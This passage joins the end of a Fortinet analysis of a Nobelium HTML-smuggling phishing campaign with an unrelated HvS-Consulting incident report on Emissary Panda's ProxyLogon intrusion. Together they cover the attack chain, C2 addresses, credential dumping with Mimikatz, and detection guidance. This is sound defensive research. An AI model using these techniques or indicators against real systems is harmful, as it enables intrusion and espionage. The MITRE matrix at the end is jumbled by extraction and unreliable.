from a French-speaking country in Africa. It is disguised as coming from a Turkish embassy
and sent to a Portuguese-speaking nation, although it is written in English.
The email itself comes with a .HTML file attachment. This file contains malicious JavaScript
designed to create an .ISO file on the user
s computer. Figure 2 shows some similarities
between a previous Nobelium attack and this current version.
Figure 2: Malicious Javascript
The original HTML Smuggling attack conducted by Nobelium used EnvyScout to convert a
text blob into an .ISO file. EnvyScout is one of the toolsets used as a dropper in spearphishing
attacks by this APT group. As seen in Figure 2, both samples used an application type of 
xcd-image.
 This part of the attack has changed very little. However, Figure 3 below shows the
function used to create the .ISO file has been streamlined from previous iterations.
Figure 3: ISO creation
Once the .ISO file has been created on the user
s machine, the attack requires a user to open
the file. By default, opening an .ISO file on modern versions of Windows causes it to mount
the file on the next available drive letter. Once mounted, the files can be seen. Figure 4 below
shows this part of the attack chain.
Figure 4: Mounted ISO files
One of the previous variants of the Nobelium attack was dated almost exactly one year prior
to the current attack. Both versions contain malicious shortcuts that point to a DLL file. In
the current version, the DLL file inside the bin folder is named
DeleteDateConnectionPosition.dll.
In the past, one of the payloads used was a Cobalt Strike beacon, and this is the case in this
current version. Given the current political situation, it is clearly in Russia
s best interest to
know what other governments are thinking, planning, and doing, and successful installation
of a Cobalt Strike beacon provides a foothold into the embassies they are interested in
monitoring. To achieve this objective, the shortcut launches the DLL using an export named
DeleteDateConnectionPosition.
Figure 5: DLL Exports
Many of the exports inside the DLL contain junk code. As such, debugging the malware is
faster than statically analyzing it. Once completed we discovered a C2 server, as shown
below.
Figure 6: Debugging the malicious DLL
According to our sources, this server is not a shared server and the IP address only contains
the sinitude[.]com domain.
JARM Fingerprinting
For those unfamiliar with JARM, it is a technology developed by Salesforce to fingerprint
servers for the purposes of clustering. Specifically, JARM revolves around a server
s TLS
implementation. As further explained by Salesforce, it is not a secure crypto function, and as
a result, it may produce false positives. Nevertheless, it has been a fairly accurate way to
group malicious servers into relevant clusters.
The JARM signature for sinitude[.]com has been found on numerous servers. Many of these
servers have also acted as Cobalt Strike beacon C2 servers. During the course of our
investigation, we found that this JARM signature was also found on C2 servers associated
with the malware family BazarLoader. BazarLoader, among other things, contains code and
application guardrails that makes sure it is not running on a Russian computer.
By looking at network traffic since the beginning of this year, we found that several IP
addresses are connected to sinitude[.]com. However, our data indicates that only one IP
address (back in January) actually created a full connection to communicate with the C2.
This IP address is located in Kharkiv, the second largest city in Ukraine. This Kharkiv IP
address itself has communicated with unique malware families and is part of the TOR
network.
Conclusion
In this latest attack, Nobelium has used techniques similar to those they have used in the
past. Malicious emails remain the predominant way to infiltrate organizations, and Nobelium
takes advantage of that attack vector. The biggest difference now is the political landscape.
While previous attacks carried out by Nobelium may have been more technical in nature, this
latest round has far more consequences on the political world stage.
Fortinet Protections
The FortiGuard Antivirus Service detects and blocks both the .ISO and DLL files as
W64/CobaltStrike_Beacon.A!tr.
The FortiGuard Antivirus Service detects and blocks the malicious html email attachment as
JS/Agent.ONO!tr.
All relevant network IOCs are blocked by the WebFiltering client.
MITRE TTPs
Initial Access
Phishing: Spearphishing Attachment
T1566.001
Execution
Command and Scripting Interpreter: JavaScript
T1059.007
User Execution: Malicious File
T1204.002
Defense Evasion
Build Image on Host
T1612
Deobfuscate/Decode Files or Information
T1140
Obfuscated Files or Information: HTML Smuggling
T1027.006
Command and Control
Application Layer Protocol: Web Protocols
T1071.001
Impact
Resource Hijacking
T1496
IOCs
File IOCs
Covid.html (SHA2:
A896C2D16CADCDEDD10390C3AF3399361914DB57BDE1673E46180244E806A1D0)
Covid.iso (SHA2:
3CB0D2CFF9DB85C8E816515DDC380EA73850846317B0BB73EA6145C026276948)
DeleteDateConnectionPosition.dll (SHA2:
6EE1E629494D7B5138386D98BD718B010EE774FE4A4C9D0E069525408BB7B1F7)
Network IOCs
Sinitude[.]com
JARM Signature:
2ad2ad0002ad2ad0002ad2ad2ad2ade1a3c0d7ca6ad8388057924be83dfc6a
Learn more about FortiGuard Labs global threat intelligence and research and the
FortiGuard Security Subscriptions and Services portfolio.
HvS-Consulting AG
Incident Response Report
The APT Fallout of Vulnerabilities such as ProxyLogon,
OGNL Injection, and log4shell
Date:
14.02.2022
Version:
Classification: TLP-White
Contact
HvS-Consulting AG
Parkring 20
85748 Garching bei M
nchen
Germany
Phone: +49 89 890 63 62 0
E-Mail: incidentresponse@hvs-consulting.de
https://www.hvs-consulting.de
HvS Incident Response Report
The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
CONTENTS OF THIS REPORT
ABSTRACT .......................................................................... 1
THE CHANGING THREAT LANDSCAPE IN 2021 ..... 2
1 Just Another Incident Response investigation? . 2
2 The Major Vulnerabilities in 2021 .......................... 3
3 A Spotlight on the Role of APT Groups .............. 6
4 Lessons Learned from 2021 .................................... 8
INSIGHTS INTO AN EMISSARY PANDA ATTACK . 10
5 Timeline of the Attack .............................................10
5.1 Phase 1: Initial Compromise ......................................... 12
5.2 Phase 2: Persistence ....................................................... 13
5.3 Phase 3: Reaction and Last Data Exfiltration ........... 13
6 Description of Observed TTPs ............................. 14
6.1 Resource Development ................................................. 15
6.2 Initial Access ...................................................................... 15
6.3 Execution............................................................................ 15
6.4 Persistence ......................................................................... 16
6.5 Privilege Escalation .......................................................... 17
6.6 Defense Evasion ............................................................... 17
6.7 Credential Access ............................................................ 19
6.8 Discovery ............................................................................ 19
6.9 Lateral Movement .......................................................... 20
6.10 Collection .......................................................................... 20
6.11 Command and Control.................................................. 21
7 OSINT analysis of C2 infrastructure ................... 22
8 Malware Analysis of HyperBro............................. 23
8.1 Overview ........................................................................... 23
8.2 PE Loader .......................................................................... 24
8.3 Capabilities ....................................................................... 28
8.4 HyperBro Configuration Extractor ............................. 30
9 Detection of Emissary Pandas activities ............. 31
9.1 Indicators of Compromise (IOCs) ............................... 31
9.2 YARA Rules ....................................................................... 34
9.3 Defender Detection Rules ............................................ 36
THE TWO EMPHASES OF THE REPORT
THE CHANGING THREAT LANDSCAPE IN 2021
A summary of our observations of the threat
landscape in 2021, the activities of APT groups, and
derived recommendations for your cyber security
strategy. Start reading on page 2.
INSIGHTS OF AN EMISSARY PANDA ATTACK
Here you find a lot of technical details like the
timeline, TTPs, IOCs of an Emissary Panda attack,
including our malware analysis results of their
HyperBro malware. Start reading on page 10.
 HvS-Consulting AG 2022
Page 1 of 38
HvS Incident Response Report
The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
ABSTRACT
ProxyLogon (Hafnium) in Exchange, OGNL injection in Confluence, log4shell in the log4j library. 2021 was
rife with critical vulnerabilities. They were exploited by ransomware gangs and hackers for mining crypto
currencies. But where have the professional spies, the APT groups been? Did they miss such opportunities
and take a vacation from cyber warfare? Surely they didn't. And we have collected evidence.
The benefactors of the scatter fire
The APT group Emissary Panda (also known as APT27, LuckyMouse) has exploited the Microsoft Exchange
vulnerability "ProxyLogon", often publicly referred to as "Hafnium" vulnerability, to carry out targeted
industrial espionage. The particularly perfidious aspect of this is that they intentionally acted like "ordinary
hackers" in order not to trigger a comprehensive analysis and remediation. With great success.
We analyzed several incidents and found that some customers did not seriously follow up on a ProxyLogon
compromise because at first glance it looked like an attack by an occasional attacker. This is how Emissary
Panda (APT27) managed to run through the classic APT kill chain and steal trade secrets undetected for
months.
Our report not only provides background and details on the process, the TTPs and the IOCs, but also initial
evidence that the OGNL injection in Confluence was and is also being of interest for targeted industrial
espionage. The same applies for log4shell.
Strategies for Cyber Security 2022
The effects of the global vulnerabilities from 2021 will only gradually come to light.
We have to assume that numerous APT and other compromises by ProxyLogon (Exchange), OGNL
injection (Confluence) and log4shell (Log4j) are still undetected. Especially for log4shell, the typical
detection period of three to six months has not even been reached yet.
In addition, global vulnerabilities will again come to light and be exploited in 2022. Anything else would
be close to a miracle. Companies are therefore well advised to prepare for this. We have the following
recommendations based on our experience and findings, which are described more in detail in section
Lessons Learned from 2021 on page 8.
Prediction
Protection
Detection/Response
Subscribe to advisory feeds
Only pros help against pros
Asset management rules! Take
care of your CMDB
Create a plan B like BCM
The mean time to detect (MTD)
must be reduced
Take any compromise seriously
Readiness saves time and
money
Thinking outside the box
Every critical vulnerability is
equally important
Patch critical vulnerabilities
immediately
If you want to share just the summary with your management, you will find it also short and concise on
our webpage: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27/
 HvS-Consulting AG 2022
Page 1 of 38
HvS Incident Response Report
The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
THE CHANGING THREAT LANDSCAPE IN 2021
Just Another Incident Response investigation?
In October 2021, one of our customers was notified by a government agency about suspicious activities
on their network. Command and Control (C2) traffic and data exfiltration was allegedly observed. After a
quick analysis of the firewall logs, the customer was able to verify the suspicion and realize that the traffic
had started several months earlier.
As a result, the customer decided to investigate further and ask HvS to conduct a situation assessment. In
the first step of the investigation, ten internal systems with C2 traffic were identified and compromise scans
of them were performed. These scans proofed a clear compromise of these systems and the presence of
HyperBro, a Remote Access Tool (RAT), and other typical attack traces. A comprehensive Incident
Response (IR) was then initiated with the goal of analyzing the entire infrastructure to determine the level
of compromise, identify the entry vector, uncover the actor's tactics, techniques, and procedures (TTPs),
assess the impact, and finally plan remediation actions.
Up to this point, this case was a normal Advanced Persistent Threat (APT) incident with
common TTPs. The case became interesting when we correlated the Indicators of
Compromise (IOC) of this incident with the IOCs of our previous incidents. This
correlation led to unexpected matches between incidents that at first glance appeared
to be unrelated, which is described in more detail in section A Spotlight on the Role of
APT Groups.
One of the first defensive measures was to deploy an Endpoint Detection and Response (EDR) tool on all
endpoints. This was to increase visibility and provide capabilities for containment and response, which later
proved to be crucial. While preparing for remediation, the actor began collecting data again, using the
domain administrator privileges it had previously gained. This allowed near real-time countermeasures by
the IR team, which are described in detail in Phase 3: Reaction and Last Data Exfiltration. These
countermeasures bought management the time to decide on a complete cut-off from the Internet until
remediation was finished.
The collected IOCs from the forensic analyses, OSINT searches, the observed TTPs, and analogies between
the RAT and the HyperBro malware pointed to an attribution to the Emissary Panda 1 group, which was
also consistent with the authorities' previous assumption.
One of the most interesting facts was the determined entry vector: all identified
traces date back exactly to March 04, 2021, the day when the large-scale
exploitation of the ProxyLogon vulnerability started. The first system to show
C2 traffic was the Exchange server, and within less than an hour, additional
systems were affected. While the Exchange Server compromise was detected
in March and the system was recovered during that time, the other infected
systems were not detected, leaving the door open for the actor. The entire
sequence of events leads to the assumption that the exploitation of
ProxyLogon in this case was not an opportunistic attack. When asked by the
customer's top management if they could imagine being on the short list of a
Chinese actor, they indicated that they were aware of this risk.
https://attack.mitre.org/groups/G0027/ aka APT27, TG-3390, Bronze Union, Lucky Mouse, Iron Tiger, UNC215
 HvS-Consulting AG 2022
Page 2 of 38
HvS Incident Response Report
The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
2 The Major Vulnerabilities in 2021
As in every year, many vulnerabilities were discovered in 2021, for which vendors released hotfixes,
administrators hopefully applied them, and security personnel reviewed infrastructure for successful
remediation. Meanwhile, hackers developed exploits and used them to compromise the remaining
vulnerable systems and gain an advantage. Business as usual?
However, one thing has changed in the last year: The quality of some discovered vulnerabilities was
outstanding in terms of the software affected, the ease of exploitation and impact, and the frequency of
occurrence was higher than ever before. However, things have also changed on the attackers' side: Some
of these vulnerabilities were discovered not with good intentions by security researchers. They were
searched for in order to use them for attack campaigns. This resulted in exploits being available early and
widespread exploitation by various actors, sometimes even before the affected organizations could react.
Looking back at 2021, the following vulnerabilities, among others, immediately come to mind:
Microsoft Exchange was affected by several security vulnerabilities in 2021, which
became very critical mainly due to chaining them in attacks.
In March 2021, ProxyLogon 2, often publicly referred to as Hafnium, was finally
made public, while rumors of targeted exploitation had already existed since
November 2020. Immediately following the disclosure, a previously unseen
wave of widespread exploitation followed before most organizations could respond and some
were not even aware of the vulnerability. During this time, we analyzed 84 Microsoft Exchange
instances from various customers with our preferred APT scanner THOR 3 and found that 96%
of them were scanned for ProxyLogon and in 44% of the cases the vulnerability was also
exploited.
Figure 1: Scanning and exploitation of ProxyLogon in Germany.
CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065
https://www.nextron-systems.com/thor/
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ProxyLogon was just one vulnerability in a whole series of vulnerabilities that put Exchange
environments at risk. There were also ProxyOracle, ProxyShell, ProxyToken, and other Remote
Code Execution (RCE) vulnerabilities 4 with publicly available exploits, as this collection shows:
https://github.com/FDlucifer/Proxy-Attackchain. We received some customer requests to
analyze compromised Exchange servers, claiming to have fixed the ProxyLogon vulnerability
and not being able to explain how this could happen.
Remarkably, the attention of administrators, security experts and the trade press decreased
from vulnerability to vulnerability - despite vendor advisories, available exploits, and warnings
about active abuse. The Exchange issue became annoying, we heard more than once "I just
can't patch Exchange anymore" and reports about it were no longer clickbait.
In August 2021, Atlassian's Confluence was affected by an easy-to-exploit RCE
vulnerability 5 due to a OGNL injection. Shortly after the disclosure, ready-to-use
exploits were available, and widespread exploitation attempts were observed on the
Internet. In this case, many publicly accessible environments were also compromised.
In contrast to ProxyLogon, we received comparatively few requests for proactive
analysis, but more requests for post-breach analysis.
The RCE vulnerability in the widely used Java library log4j 6, also known as log4shell,
once again generated a lot of attention on the part of defenders and attackers in
December 2021. Again, it took only a few hours before the first widespread scans for
affected systems and exploitation attempts began. With the previously mentioned
vulnerabilities, it was easy to assess whether an organization was affected, and the
scope of analysis was limited to individual systems. In the case of log4shell, on the other hand, the
effort was higher, and especially the proof of successful exploitation was laborious, as it had to be
provided for each system individually 7. Since it was close to Christmas and many employees were
already on vacation, some organizations decided to fix the vulnerability as part of their regular patch
cycle and hope that they would not fall victim to an attack. Even though the number of attacks has
decreased in early 2022, we and many other security experts 8 believe that there are still many
undiscovered vulnerabilities whose impact will only become apparent in the coming months, and that
many applications will remain vulnerable for a long time.
ProxyOracle: CVE-2021-31196 and CVE-2021-31195; ProxyShell: CVE-2021-34473, CVE-2021-34523 and CVE-202131207; ProxyToken: CVE-2021-33766; another RCE CVE-2021-42321
CVE-2021-26084
CVE-2021-44228 and CVE-2021-44832
https://www.hvs-consulting.de/en/log4j-log4shell-tips-and-guidelines-for-action/
https://news.sophos.com/en-us/2022/01/24/log4shell-no-mass-abuse-but-no-respite-what-happened/
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Figure 2: Timeline of release, global attention, and breach detection of selected vulnerabilities in 2021.
Looking at the various players who were looking for, and in some cases abusing vulnerable
systems, four categories can be distinguished based on their motivation and impact:
As usual, many security researchers have tried to map the attack surface and/or to
warn the affected organizations. Even if they do not compromise systems during
scanning, they leave traces. Operators must spend time to figure out the intent of the attack attempt.
The largest group were script kiddies and hobbyists who tried to exploit these vulnerabilities for fun or
to achieve certain smaller goals like deploying crypto miners or web shells 9. Since they usually do not
try to move laterally, the impact was limited to the compromised system.
The group with the most attention were opportunistic cybercrime gangs, especially ransomware
groups, or professional hackers with the goal of sabotaging and extorting organizations or placing
backdoors and selling access to companies on the black market. In case of successful ransomware
attacks, high financial and business impact was caused.
But there is a fourth group, often overlooked, that has benefited from the scatter fire of the previously
mentioned attackers: APT groups and advanced hackers. Because their attacks are more targeted, the
total number of attacks is lower. The number of unreported cases is also much higher, as the impact
is not as obvious to the public as in the case of ransomware. The actual impact through stolen
information and intellectual property is also difficult to assess. Since many victims are not aware of the
risk of becoming victims of espionage, APT groups are often underestimated as actors.
IOCs from a ProxyShell exploitation: https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell
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3 A Spotlight on the Role of APT Groups
Based on the knowledge that APT groups also exploited these vulnerabilities, which is not
at all surprising, we conducted more in-depth research and correlated IOCs with related
IR engagements. In doing so, we made an interesting observation.
ProxyLogon played a special role among last year's high-profile vulnerabilities, as it was
not only widely abused by APT groups. The more prominent name "Hafnium" is not derived from the
metal, but from the APT group Hafnium. Shortly after the critical vulnerabilities in Microsoft Exchange
became public, there were many reports about APT groups actively abusing this flaw:
Hafnium 10, which is suspected being first in detecting and exploiting those vulnerabilities 11:
Emissary Panda 12, whose activities we describe in more detail in this document.
Fancy Bear 13, which is known to attack Microsoft Exchange instances for a long time 14 and recently new
activities in Germany were observed.
Tick, Calypso, Websiic, Winnti Group 15 and a not precisely specified Iranian government-sponsored
APT actor 16 and certainly, many groups more.
As for the critical RCE in Confluence, the situation seems to be completely different. If you search reports,
blogs, and other security feeds, you will mainly find information about abuse to deploy crypto miners. For
the time being, we can confirm this observation, as we have also found this behavior in various
investigations of compromised Confluence servers. In addition, there are single reports that ransomware
groups also occasionally abuse this vulnerability. To our knowledge, there have been several instances
where attackers exploited this vulnerability shortly after its disclosure, installed RAT tools, and waited for a
highly privileged administrator to log in. Once control over the infrastructure was established, all the
victim's systems were started to be encrypted.
So far, nothing has been found in the public about the connection between APT groups and the use of
the OGNL injection vulnerability to gain a foothold in victims' infrastructures. During malware analysis of
the Emissary Panda incident mentioned earlier, we found an additional C2 IP in the configuration. This IP
has never been reported as malicious or abused and appears to be part of Emissary Panda's dedicated
infrastructure and not a compromised third-party system.
https://attack.mitre.org/groups/G0125/ aka Operation Exchange Marauder
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
https://attack.mitre.org/groups/G0027/ aka APT27, TG-3390, Bronze Union, Lucky Mouse, Iron Tiger, UNC215
https://attack.mitre.org/groups/G0007/ aka APT28, Sofacy, Pawn Storm, Strontium, Tasr Team
https://attack.mitre.org/techniques/T1190/
https://cybernews.com/security/10-apt-groups-that-joined-the-ms-exchange-exploitation-party/
https://www.cisa.gov/uscert/ncas/alerts/aa21-321a
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Thanks to the detailed tracking of all IOCs of our incidents in a MISP 17, the correlations between the events
were easily identified due to the C2 IP. These events belong to analyses of compromised Confluence
servers that were previously performed and revealed crypto miner infections, but no evidence of RATs or
lateral movement. In a few analyses, we identified this IP as a node scanning for vulnerable Confluence
systems.
Knowing that this IP is part of Emissary Panda's infrastructure and was rarely used in their campaigns
suggests that Emissary Panda was also scanning for vulnerable Confluence instances. Thus, the tactic of
flying under the radar
 was a complete success.
Figure 3: Correlation of a so far unknown Emissary Panda C2 IP to IR engagements of compromised Confluence servers.
In contrast, the log4shell vulnerability in log4j received more attention from the security community, IT
organizations, and the press - not just the specialist press. But all kinds of attackers were also attracted to
this vulnerability. One reason for this could also be that the effort required to identify and mitigate the
vulnerability is much higher for the affected organizations, making it more likely for attackers to benefit
from exploitation capabilities over a longer period. Reports and alerts were published very quickly 18,
reminding again to take preventive measures, as almost the same APT groups as ProxyLogon were seen
actively exploiting the vulnerability:
Hafnium
Emissary Panda 19
Charming Kitten - an Iranian government-sponsored actor
And many groups more
Although there have not yet been any incident response deployments where the entry vector has been
identified as a log4shell misuse, we expect this to happen within the next few weeks or months, which is
still the average time to breach discovery.
https://github.com/MISP/MISP
https://therecord.media/log4shell-attacks-expand-to-nation-state-groups-from-china-iran-north-korea-andturkey/ and https://www.securityweek.com/microsoft-spots-multiple-nation-state-apts-exploiting-log4j-flaw
https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/
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4 Lessons Learned from 2021
Looking ahead to 2022 and the following years, we do not assume that there will be fewer critical
vulnerabilities and attacks. Rather, the opposite will be the case! Therefore, every organization must think
about how it is going to deal with the threat situation in the future.
Prediction: It becomes more and more important to be in front of the wave!
This can be achieved by implementing mechanisms that provide early warnings about
newly discovered vulnerabilities, remediation actions, and hotfixes. The most reliable
source are the manufacturers' advisory feeds, since relying on the specific press or
warnings from authorities naturally entails a certain time delay and should therefore
only be the fallback solution.
In order to quickly assess whether and to what extent you are affected by a vulnerability, a good
knowledge of your infrastructure and especially the publicly accessible parts - regardless of whether
they are on-premises or in a cloud - is crucial, i.e., a well-filled Configuration Management
Database (CMDB) / asset management is a must.
In addition, it is helpful to be aware of the threat situation, incorporate it into your risk analysis, and
plan appropriate countermeasures. While any company can fall victim to opportunistic cybercrime,
assessing the likelihood of targeted attacks is more difficult. Despite all the challenges, it is negligent
to ignore these risks. Even if protection against targeted attacks is not the primary goal, early
implementation of protective measures is an investment in the future, as cybercriminals often mimic
the TTPs of APT groups.
Protection: Defined processes and workflows for rapid reaction are key!
In order to be able to act quickly in the event of a newly discovered threat, a
coordinated and tested processes must be in place. While normal patch management
processes often allow a grace period of a few days or even several weeks before
patches must be applied, emergency processes must be in place to react within a few
hours in such cases.
A patch is not always immediately available or applicable, so a range of containment measures must
be prepared, for example in the case of ProxyLogon, which blocks Internet access to Outlook Web
App and ActiveSync. The impact on business processes must be considered, and appropriate Business
Continuity Management (BCM) plans with decision criteria and authorities must be defined. Especially
when critical business services are affected, it is difficult to make the decision between business impact
and IT infrastructure compromise without being prepared.
Another important aspect is to be able to act at any time. Many vulnerabilities become known shortly
before the weekend or during the vacation season. Attackers are distributed all over the world and
sometimes specifically wait for such off-peak times. You must be able to react to a changed threat
situation at any time - both on the technical and on the management level.
As the handling of ProxyOracle, ProxyShell, and to some extent the Confluence vulnerability has shown,
the resources of many IT departments were overloaded, which delayed remediation or even led to
resignation. As with operational incidents, time reserves must be planned for security incidents, both
in the security teams and in IT.
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Not all attackers exploit vulnerabilities immediately, sometimes they wait until the first waves are over
and thus the attention dies down. Even if there are no exploits available for every vulnerability or active
exploitation has been observed, the reverse conclusion does not apply here that these are less critical.
Every high-rated or critical vulnerability must be equally important to you.
Detection and response: Be prepared for the next high-profile vulnerability!
Capabilities are needed to determine appropriate strategies and techniques for
detecting potentially compromised assets, identifying exploitation attempts,
evaluating whether they have been successful, and recommending next steps or
even directly initiating forensic investigations. Such capabilities should be
considered sovereign tasks, as the resources of security service providers are also
limited. Similar events such as ProxyLogon or log4shell may cause bottlenecks,
especially if no contracts have been concluded beforehand.
The average time to detection of successful attacks needs to be shortened, as huge spread and
damage can occur within a period of three to six months. For opportunistic attacks, the time periods
are much shorter, but the past has shown that with a quick and rigorous response, even ransomware
attacks can successfully be stopped before encryption begins.
If systems have been compromised or suspicions have been raised, a thorough analysis of the level of
compromise of the entire environment is critical. At a minimum, the analysis objectives must be
"Can the known IOCs be detected on other systems?"
"What credentials may have been exposed and has data been exfiltrated?"
If you underestimate this step, you may miss the chance to get ahead of the attackers and stop them
at the beginning of the attack chain, as the following sections show.
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INSIGHTS INTO AN EMISSARY PANDA ATTACK
5 Timeline of the Attack
The attack can roughly be divided in three phases.
The first phase was the initial compromise and achievement of objectives. The objectives included the
privilege escalation and espionage of intellectual property.
The second phase was the persistence phase, which lasted for seven months.
In the final phase, the attackers changed their persistence strategy from Phase 2 and attempted to
exfiltrate data again. This was likely a reaction to a detection of an attack to another company with the
same IOCs.
Figure 4: Attack Phases
The following table describes the timeline of the attack with anonymous hostnames. The timestamps were
converted to UTC+0. The 
Attacker
 column describes which resource (IP, compromised system, etc.) the
attacker uses, and the 
Target
 column describes the system, which is targeted by the activity.
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Timestamp 20
Target
Attacker
Comment
Phase 1
2021-03-04 07:40
EX01
104.168.236.46
C2 communication between Exchange Server and C2 IP
address
2021-03-04 08:36
Client01
2021-03-04 08:36
Client01
2021-03-04 08:39
FS01
Drop and execution of HyperBro backdoor on File server
system
2021-03-04 08:39
FS01
Creation of a Windows Service for persistence
2021-03-04 08:39
FS01
2021-03-04 14:40
FS01
2021-03-07 18:03
APP01
Drop and execution of HyperBro backdoor on a client system
104.168.236.46
104.168.236.46
Beginning of C2 communication
Beginning of C2 communication
Creation of Rar.exe on FS01
104.168.236.46
First C2 communication of APP01
Phase 2
2021-04-23 15:57
Intranet
Drop and execution of HyperBro backdoor on Intranet server
2021-04-23 16:02
APP02
Drop and execution of HyperBro backdoor on Database of
APP01
2021-04-23 16:03
APP02
104.168.236.46
First C2 communication of the Database System APP02
2021-08-19 10:30
APP01
87.98.190.184
C2 communication of APP1
Phase 3
2021-10-18
Attacker changed DNS Domain entry to 127.0.0.1
2021-10-18 21:46
APP01 &
APP02
87.98.190.184
C2 communication of APP01 & APP02
2021-10-31 06:31
APP03
87.98.190.184
C2 communication
2021-10-31 18:50
APP04
APP01
Lateral Movement
2021-10-31 18:53
APP04
87.98.190.184
C2 communication
2021-11-09 15:59
FS01
Intranet
Reconnaissance with wmic and tasklist
2021-11-09 16:03
FS01
Intranet
Remote creation of batch script with wmic
2021-11-09 16:05
FS01
Intranet
Remote creation of Rar.exe (WinRar)
2021-11-09 16:06
FS01
Intranet
Begin of targeted collection by executing Rar.exe remotely via
wmic
2021-11-09 16:09
APP05
Reconnaissance with net.exe
2021-11-09 16:25
FS01
Local execution of Rar.exe
All timestamps in this report are given in UTC+0
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Timestamp 20
Target
Attacker
Comment
FS01
Creation of first Rar package for exfiltration
APP05
Testing of different credentials in net use command for
mounting the IPC share
2021-11-09 16:53
APP02
Execution of Mimikatz
2021-11-09 16:54
APP02
Exports of Registry (SAM, SYSTEM, SECURITY)
2021-11-09 16:58
APP02
Packaging of Registries with Rar.exe
APP02
Another try of targeted collection by executing Rar.exe locally
but by specifying remote shares in the command
2021-11-09 16:38
2021-11-09 16:48
2021-11-09 19:28
FS01
FS01
Internet Cutoff and Remediation
Phase 1: Initial Compromise
Figure 5 provides a simplified overview of the attack, the C2 channels, and the compromised systems.
Figure 5: Attacker
s course of action during Phase 1.
The first known activity of the attack occurred on 04.03.2021 at 07:40 (UTC+0) with the first communication
from the Exchange Server (EX01) to a known C2 IP address of the attacker. It is assumed that the initial
compromise occurred shortly before this event. Since the first C2 communication originated from the
Exchange Server, and the event occurred very close to the first disclosure of the ProxyLogon vulnerability
by Microsoft, the initial access vector is assumed to be ProxyLogon.
About an hour after the initial compromise, Emissary Panda moved laterally to the file server as well as to
a client. On both of these systems the HyperBro backdoor was dropped, as described in Section 8. On the
same day, a file with the name 
Rar.exe
 was created on the server fileserver. The fact that the fileserver
was the first target, and the creation of 
Rar.exe
, support the thesis that the main objective of the attack
was espionage of intellectual property. With full access to the fileserver the objectives were fulfilled in the
first days of the attack.
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Phase 2: Persistence
After the objectives of initial access and data exfiltration were fulfilled, the next objective of this APT was
persistence and remaining undetected (long-term access). These objectives were achieved in Phase 2 of
the attack, which lasted from 08.03.2021 to 18.10.2021. During this time, only sparse activity from Emissary
Panda was identified.
The activity includes regular beaconing to C2 addresses. Furthermore, irregular lateral movement to new
systems was identified. This was probably performed to strengthen their persistence and protect their
access against system replacements. At least two new systems were compromised during Phase 2.
Phase 3: Reaction and Last Data Exfiltration
In the last phase of the attack, something tipped Emissary Panda of, and they started to change their
behavior. Our best guess is that they noticed responsive actions in other attack campaigns using the same
C2 infrastructure. Since the first activity in this phase was on 18.10.2021, and our IR Kick-off was in the
following week, it is unlikely that we tipped them of at this point in the attack. The last phase of their attack
lasted from 18.10.2021 to the forced end of the attack on 09.11.2021.
The first reaction was the change of a DNS A record of one of their C2 domains to the IP address 127.0.0.1,
which was done before the first response actions of this incident had been performed. Furthermore, they
strengthened their foothold in the network by more lateral movement and compromising more critical
systems, which is described in Section 6.9.
Their last uprising was observed on 09.11.2022. First, they started with reconnaissance by pulling a task list
of the File server from the compromised Intranet server (Section 6.8.2). Next, they prepared for data
collection by creating 
Rar.exe
 (WinRar) remotely on the fileserver. It is unclear why Emissary Panda started
testing user credentials after the creation of WinRar, since they were already using a working Domain
Admin and the collection of data was running as well. Moreover, the operator of Emissary Panda mixed
up the order of username and password, which explains why the credentials did not work. Due to the mixup, the operators probably thought that their stolen credentials have been revoked. Hence, in the following
they tried to steal new credentials by executing Mimikatz and exporting the registry. This chaos in
operations leads us to the conclusion that different phases of the attack are executed by teams with
different capabilities. The initial compromise, privilege escalation, lateral movement and data exfiltration is
probably performed by higher-skilled teams, while later phases of the attack such as maintaining
persistence are executed by less skilled teams. The mix-up is described in more technical detail in
Section 6.8.1.
Meanwhile the IR team had detected the activity and taken first measures to stop the data exfiltration.
While the Internet cut-off was being prepared, responders started to disrupt the attackers. In order to stop
the collection process, WinRar processes were terminated remotely, and the tools used by the attackers
were manipulated and therefore 
disarmed
. Of course, this was not a permanent solution, but it bought
responders and the management more time to prepare the Internet cut-off. As soon as the attackers
realized that the process was stopped and they couldn
t launch it again, they moved to the next
compromised system and started the collection process from there. Shortly after the last observed activity
the attack was stopped by cutting off internet access. This was maintained for two weeks until all
remediation measures were implemented.
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6 Description of Observed TTPs
The following figure maps the observed Techniques, Tactics, and Procedures (TTPs), observed during the
Emissary Panda attack to the TTPs listed by MITRE ATT&CK 21:
Resource
Dev elopment
T1587:
Dev elop
Capabilities
T1587.001:
Malware
Initial
Access
T1190:
Exploit
Public-Facing
Application
Execution
T1047: Windows
Management
Instrumentation
T1078:
Valid
Accounts
T1078.002:
Domain
Accounts
T1078.003:
Local
Accounts
Persistence
Privilege
Escalation
T1543:
T1543:
Create or
Create or
Modif y Sy stem
Modif y Sy stem
Process
Process
T1543.003:
T1543.003:
Windows
Windows
Serv ice
Serv ice
T1574:
Hijack
Execution
Flow
T1574:
Hijack
Execution
Flow
Defense
Evasion
T1574:
Hijack
Execution
Flow
T1574.001:
DLL Search
Order
Hijacking
T1574.002:
Side-Loading
T1574.001:
T1574.001:
DLL Search
DLL Search
T1036:
Order
Order
Masquerading
Hijacking
Hijacking
T1574.002:
T1574.002:
Side-Loading
Side-Loading
T1078:
Valid
Accounts
T1055:
Process
Injection
Archiv e
v ia
Shares
Utility
T1057:
Process
Discovery
T1119:
Automated
Collection
T1082:
System
Information
Discovery
T1074:
Data
Staged
T1071.001:
Protocols
Legitimate Name
or Location
Hollowing
T1078:
Valid
Accounts
T1055:
Process
Injection
T1078.002:
T1055.012:
Domain
Process
Accounts
T1560.001:
Admin
Match
Process
Local
T1021.002:
SMB/Windows
T1071:
Application
Layer
Protocol
T1036.005:
Accounts
T1078.003:
T1560:
Archive
Collected
Data
Command
Control
or Serv ice
Domain
Accounts
T1069:
Permission
Groups
Discovery
T1021:
Remote
Services
Collection
Task
T1112:
Modify
Registry
Accounts
T1087:
